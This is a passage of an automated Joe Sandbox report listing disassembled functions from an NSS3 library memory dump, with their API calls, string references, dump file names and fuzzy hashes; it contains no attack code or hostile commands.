Instruction Fuzzy Hash: E7315571A00205AFE7209F68CD44BEAB7B0FF19318F140536EA1967B60D770AD24C7E9

Function 6C6B9D60 Relevance: 10.6, APIs: 7, Instructions: 108memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,00000000,?,?,00000000,?,6C6B9C5B), ref: 6C6B9D82

Part of subcall function 6C6B14C0: TlsGetValue.KERNEL32 ref: 6C6B14E0
Part of subcall function 6C6B14C0: EnterCriticalSection.KERNEL32 ref: 6C6B14F5
Part of subcall function 6C6B14C0: PR_Unlock.NSS3 ref: 6C6B150D

PORT_ArenaGrow_Util.NSS3(?,?,00000000,?,6C6B9C5B), ref: 6C6B9DA9

Part of subcall function 6C6B1340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6C65895A,00000000,?,00000000,?,00000000,?,00000000,?,6C64F599,?,00000000), ref: 6C6B136A
Part of subcall function 6C6B1340: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6C65895A,00000000,?,00000000,?,00000000,?,00000000,?,6C64F599,?,00000000), ref: 6C6B137E
Part of subcall function 6C6B1340: PL_ArenaGrow.NSS3(?,6C64F599,?,00000000,?,6C65895A,00000000,?,00000000,?,00000000,?,00000000,?,6C64F599,?), ref: 6C6B13CF
Part of subcall function 6C6B1340: PR_Unlock.NSS3(?,?,6C65895A,00000000,?,00000000,?,00000000,?,00000000,?,6C64F599,?,00000000), ref: 6C6B145C

PORT_ArenaGrow_Util.NSS3(?,?,?,?,?,?,?,?,6C6B9C5B), ref: 6C6B9DCE

Part of subcall function 6C6B1340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6C65895A,00000000,?,00000000,?,00000000,?,00000000,?,6C64F599,?,00000000), ref: 6C6B13F0
Part of subcall function 6C6B1340: PL_ArenaGrow.NSS3(?,6C64F599,?,?,?,00000000,00000000,?,6C65895A,00000000,?,00000000,?,00000000,?,00000000), ref: 6C6B1445

PORT_ArenaAlloc_Util.NSS3(?,00000008,6C6B9C5B), ref: 6C6B9DDC
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,6C6B9C5B), ref: 6C6B9DFE
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,6C6B9C5B), ref: 6C6B9E43
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,6C6B9C5B), ref: 6C6B9E91

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

Part of subcall function 6C6B1560: TlsGetValue.KERNEL32(00000000,00000000,?,?,?,6C6AFAAB,00000000), ref: 6C6B157E
Part of subcall function 6C6B1560: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6C6AFAAB,00000000), ref: 6C6B1592
Part of subcall function 6C6B1560: memset.VCRUNTIME140(?,00000000,?), ref: 6C6B1600
Part of subcall function 6C6B1560: PL_ArenaRelease.NSS3(?,?), ref: 6C6B1620
Part of subcall function 6C6B1560: PR_Unlock.NSS3(?), ref: 6C6B1639

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Arena$Util$Value$Alloc_CriticalEnterSectionUnlock$GrowGrow_$ErrorMark_Releasememset
String ID:
API String ID: 3425318038-0
Opcode ID: ec09ca6b5ba00fa30881863b7796f78fa7ddeeb76bf669e4abd50a1f8de51863
Instruction ID: c8b8f3062b7979f72214e2e2f343d74922bcfc162df5c617cad97fa8202213ce
Opcode Fuzzy Hash: ec09ca6b5ba00fa30881863b7796f78fa7ddeeb76bf669e4abd50a1f8de51863
Instruction Fuzzy Hash: AD417CB4601606AFE7409F15D840B92BBB1FF5534CF148128E9189BFA0EB72E836CF94

Function 6C67DDD0 Relevance: 10.6, APIs: 7, Instructions: 106COMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(?), ref: 6C67DDEC

Part of subcall function 6C6B0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6B08B4

PK11_DigestBegin.NSS3(00000000), ref: 6C67DE70
PK11_DigestOp.NSS3(00000000,00000004,00000000), ref: 6C67DE83
HASH_ResultLenByOidTag.NSS3(?), ref: 6C67DE95
PK11_DigestFinal.NSS3(00000000,00000000,?,00000040), ref: 6C67DEAE
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C67DEBB
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C67DECC

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: K11_$Digest$Error$BeginContextDestroyFinalFindResultTag_Util
String ID:
API String ID: 1091488953-0
Opcode ID: 99a520589e114d5b676f0ccaee57b6667c668d246de155e62ca4bd551a6fb542
Instruction ID: 40894796c741a6dfc9eb52c67c13617b1ce7ee90e4acca6d7de101ed3258fcc9
Opcode Fuzzy Hash: 99a520589e114d5b676f0ccaee57b6667c668d246de155e62ca4bd551a6fb542
Instruction Fuzzy Hash: 493128B29002146BDB21AF64AD00BBF76B8DF55708F050935EC09A7701FB31D919C6FA

Function 6C657E30 Relevance: 10.6, APIs: 7, Instructions: 103memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C657E48

Part of subcall function 6C6B0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6587ED,00000800,6C64EF74,00000000), ref: 6C6B1000
Part of subcall function 6C6B0FF0: PR_NewLock.NSS3(?,00000800,6C64EF74,00000000), ref: 6C6B1016
Part of subcall function 6C6B0FF0: PL_InitArenaPool.NSS3(00000000,security,6C6587ED,00000008,?,00000800,6C64EF74,00000000), ref: 6C6B102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000008), ref: 6C657E5B

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C657E7B

Part of subcall function 6C6AFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C6A8D2D,?,00000000,?), ref: 6C6AFB85
Part of subcall function 6C6AFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C6AFBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6C77925C,?), ref: 6C657E92

Part of subcall function 6C6AB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7818D0,?), ref: 6C6AB095

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C657EA1
SECOID_FindOID_Util.NSS3(00000004), ref: 6C657ED1
SECOID_FindOID_Util.NSS3(00000004), ref: 6C657EFA

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_FindItem_Value$AllocateCopyCriticalDecodeEnterErrorFreeInitLockPoolQuickSectionUnlockcallocmemcpy
String ID:
API String ID: 3989529743-0
Opcode ID: 2958d2f64876b8eeb7002b891954db4e500f2e5deca3736a56d45bf49777d95d
Instruction ID: 9b7b3ff5ec3464678172edb9912dd88b184e74fe246ce5a8f69622df6a2ae730
Opcode Fuzzy Hash: 2958d2f64876b8eeb7002b891954db4e500f2e5deca3736a56d45bf49777d95d
Instruction Fuzzy Hash: 1331C1B2A113155BEB10CB659D44B9B77A8AF45358F658824DC15EBB01F730EC24C7A8

Function 6C6ADC10 Relevance: 10.6, APIs: 7, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000,?,?,00000000,?,?,6C6AD9E4,00000000), ref: 6C6ADC30
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,00000000,?,?,6C6AD9E4,00000000), ref: 6C6ADC4E
PORT_Alloc_Util.NSS3(0000000C,?,?,00000000,?,?,6C6AD9E4,00000000), ref: 6C6ADC5A
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C6ADC7E
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C6ADCAD

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Alloc_Util$Arenamemcpy
String ID:
API String ID: 2632744278-0
Opcode ID: 86ca336ff8a6246b26f397e06b5cde8ee01913c853765e025adc51f61e1e0abe
Instruction ID: a608700d852fc8254619c0dbc442647c3b4d40028c7b71c0abb847197cf1788b
Opcode Fuzzy Hash: 86ca336ff8a6246b26f397e06b5cde8ee01913c853765e025adc51f61e1e0abe
Instruction Fuzzy Hash: AB316DB5A00300AFD710CF99D884B96B7F8AF09358F548429ED49CBB01E772E945CBA5

Function 6C672E40 Relevance: 10.6, APIs: 7, Instructions: 92COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,00000038,?,6C66E728,?,00000038,?,?,00000000), ref: 6C672E52
EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C672E66
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C672E7B
EnterCriticalSection.KERNEL32(00000000), ref: 6C672E8F
PL_HashTableLookup.NSS3(?,?), ref: 6C672E9E
PR_Unlock.NSS3(?), ref: 6C672EAB
PR_Unlock.NSS3(?), ref: 6C672F0D

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$HashLookupTable
String ID:
API String ID: 3106257965-0
Opcode ID: ea536a30826d760c6ed48a5676f5a0cc77fa18eab21892cb315162cdc5cd192f
Instruction ID: 7086a1547b0b6a3754f656a697d6b2f7c0e9920d098c0470c92997f72c873469
Opcode Fuzzy Hash: ea536a30826d760c6ed48a5676f5a0cc77fa18eab21892cb315162cdc5cd192f
Instruction Fuzzy Hash: B431E475A00505ABEB105F68EC448BAB775EF46358B048574EC1887A11FB31EC65C7E9

Function 6C691EA0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 91COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE002,00000000,?,00000001,?,S&il,6C676295,?,00000000,?,00000001,S&il,?), ref: 6C691ECB

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

TlsGetValue.KERNEL32(?,00000001,?,S&il,6C676295,?,00000000,?,00000001,S&il,?), ref: 6C691EF1
EnterCriticalSection.KERNEL32(?), ref: 6C691F01
PR_SetError.NSS3(00000000,00000000), ref: 6C691F39

Part of subcall function 6C69FE20: TlsGetValue.KERNEL32(6C675ADC,?,00000000,00000001,?,?,00000000,?,6C66BA55,?,?), ref: 6C69FE4B
Part of subcall function 6C69FE20: EnterCriticalSection.KERNEL32(78831D90,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C69FE5F

PR_Unlock.NSS3(?), ref: 6C691F67

Strings

S&il, xrefs: 6C691EA0

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Value$CriticalEnterErrorSection$Unlock
String ID: S&il
API String ID: 704537481-872921247
Opcode ID: e862b00b19ece749586da347e34ce76d79f1c9ddbb7b4658946143facddb3c6b
Instruction ID: d79f04e49aa2052efab44391b3388b5b50f0617fb5047a59d1bbeac192c8e901
Opcode Fuzzy Hash: e862b00b19ece749586da347e34ce76d79f1c9ddbb7b4658946143facddb3c6b
Instruction Fuzzy Hash: 48213775A0020AABEB009F29EC44F9A37ADEF423A8F244164FD19C7B01E731D955C7E9

Function 6C6BCEE0 Relevance: 10.6, APIs: 7, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6C6BCD93,?), ref: 6C6BCEEE

Part of subcall function 6C6B14C0: TlsGetValue.KERNEL32 ref: 6C6B14E0
Part of subcall function 6C6B14C0: EnterCriticalSection.KERNEL32 ref: 6C6B14F5
Part of subcall function 6C6B14C0: PR_Unlock.NSS3 ref: 6C6B150D

PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6C6BCD93,?), ref: 6C6BCEFC

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6C6BCD93,?), ref: 6C6BCF0B

Part of subcall function 6C6B0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6B08B4

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6C6BCD93,?), ref: 6C6BCF1D

Part of subcall function 6C6AFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C6A8D2D,?,00000000,?), ref: 6C6AFB85
Part of subcall function 6C6AFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C6AFBB1

PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6C6BCD93,?), ref: 6C6BCF47
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6C6BCD93,?), ref: 6C6BCF67
SECITEM_CopyItem_Util.NSS3(?,00000000,6C6BCD93,?,?,?,?,?,?,?,?,?,?,?,6C6BCD93,?), ref: 6C6BCF78

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$Value$CopyCriticalEnterItem_SectionUnlock$AllocateErrorFindMark_Tag_memcpy
String ID:
API String ID: 4291907967-0
Opcode ID: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction ID: 16ba786e57d150884e2954345e4da23bec673fbe68648ccc5d555f5f0d27a667
Opcode Fuzzy Hash: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction Fuzzy Hash: 6D11E4B1E002047BEB00AA667C51B6BB5EC9F4524DF004039FC0AE7741FB70DA2887BA

Function 6C668C00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C668C1B
EnterCriticalSection.KERNEL32 ref: 6C668C34
PL_ArenaAllocate.NSS3 ref: 6C668C65
PR_Unlock.NSS3 ref: 6C668C9C
PR_Unlock.NSS3 ref: 6C668CB6

Part of subcall function 6C6FDD70: TlsGetValue.KERNEL32 ref: 6C6FDD8C
Part of subcall function 6C6FDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6FDDB4

Strings

KRAM, xrefs: 6C668C8F

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSectionUnlockValue$AllocateArenaEnterLeave
String ID: KRAM
API String ID: 4127063985-3815160215
Opcode ID: ba726d3de627fab06c18c243c56e499a17b65abe65e777fc0eee1a79424ce87a
Instruction ID: 76328f497f12a5b1d249a6ff8bd83f0491ada62fe47fbed3f0cd1a15e1d93497
Opcode Fuzzy Hash: ba726d3de627fab06c18c243c56e499a17b65abe65e777fc0eee1a79424ce87a
Instruction Fuzzy Hash: 772197B16056019FD700AF79C484559F7F4FF0A308F05896ED884CBB11DB35E885CB9A

Function 6C678E80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,?,6C692E62,?,?,?,?,?,?,?,00000000,?,?,?,6C664F1C), ref: 6C678EA2

Part of subcall function 6C69F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6C69F854
Part of subcall function 6C69F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6C69F868
Part of subcall function 6C69F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6C69F882
Part of subcall function 6C69F820: free.MOZGLUE(04C483FF,?,?), ref: 6C69F889
Part of subcall function 6C69F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6C69F8A4
Part of subcall function 6C69F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6C69F8AB
Part of subcall function 6C69F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6C69F8C9
Part of subcall function 6C69F820: free.MOZGLUE(280F10EC,?,?), ref: 6C69F8D0

PK11_IsLoggedIn.NSS3(?,?,?,6C692E62,?,?,?,?,?,?,?,00000000,?,?,?,6C664F1C), ref: 6C678EC3
TlsGetValue.KERNEL32(?,?,?,6C692E62,?,?,?,?,?,?,?,00000000,?,?,?,6C664F1C), ref: 6C678EDC
EnterCriticalSection.KERNEL32(?,?,?,?,6C692E62,?,?,?,?,?,?,?,00000000,?,?), ref: 6C678EF1
PR_Unlock.NSS3 ref: 6C678F20

Strings

b.il, xrefs: 6C678E96, 6C678F25

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$CriticalSection$Delete$K11_$EnterInternalLoggedSlotUnlockValue
String ID: b.il
API String ID: 1978757487-1921218275
Opcode ID: e83cc7f2db6ea076c212bdfd937235ba5b15d3f2ae2ea9bdf130985810c419da
Instruction ID: d589748912b51aad0dc5bac8657d9d82ec45b37514a343fa6f63ff163eb44522
Opcode Fuzzy Hash: e83cc7f2db6ea076c212bdfd937235ba5b15d3f2ae2ea9bdf130985810c419da
Instruction Fuzzy Hash: 43219C70908705AFC700AF29D184599BBF0FF49368F01496EEC98ABB50D734E854CBEA

Function 6C6E3E20 Relevance: 10.6, APIs: 7, Instructions: 70COMMON

Download Yara Rule

APIs

Part of subcall function 6C6E5B40: PR_GetIdentitiesLayer.NSS3 ref: 6C6E5B56

PR_EnterMonitor.NSS3(?), ref: 6C6E3E45

Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C7190AB
Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C7190C9
Part of subcall function 6C719090: EnterCriticalSection.KERNEL32 ref: 6C7190E5
Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C719116
Part of subcall function 6C719090: LeaveCriticalSection.KERNEL32 ref: 6C71913F

PR_EnterMonitor.NSS3(?), ref: 6C6E3E5C
PR_EnterMonitor.NSS3(?), ref: 6C6E3E73
PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6C6E3EA6

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

PR_ExitMonitor.NSS3(?), ref: 6C6E3EC0
PR_ExitMonitor.NSS3(?), ref: 6C6E3ED7
PR_ExitMonitor.NSS3(?), ref: 6C6E3EEE

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Monitor$EnterValue$Exit$CriticalSection$ErrorIdentitiesLayerLeave
String ID:
API String ID: 2517541793-0
Opcode ID: 54027f88e9f8c7aef8774f630c25a29e5d64c5ae93700a839b1c12e084a23d9d
Instruction ID: df85b102a79697b97ae101c0efa96709c99f3f6c47b4e1667b29f4c2c7f792db
Opcode Fuzzy Hash: 54027f88e9f8c7aef8774f630c25a29e5d64c5ae93700a839b1c12e084a23d9d
Instruction Fuzzy Hash: 3511B771519600AFDB319E29FC06BC7B7A1DB55308F040836E65A87E30E632E82BC74A

Function 6C762C80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61stringCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6C762CA0
PR_ExitMonitor.NSS3 ref: 6C762CBE
calloc.MOZGLUE(00000001,00000014), ref: 6C762CD1
strdup.MOZGLUE(?), ref: 6C762CE1
PR_LogPrint.NSS3(Loaded library %s (static lib),00000000), ref: 6C762D27

Strings

Loaded library %s (static lib), xrefs: 6C762D22

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

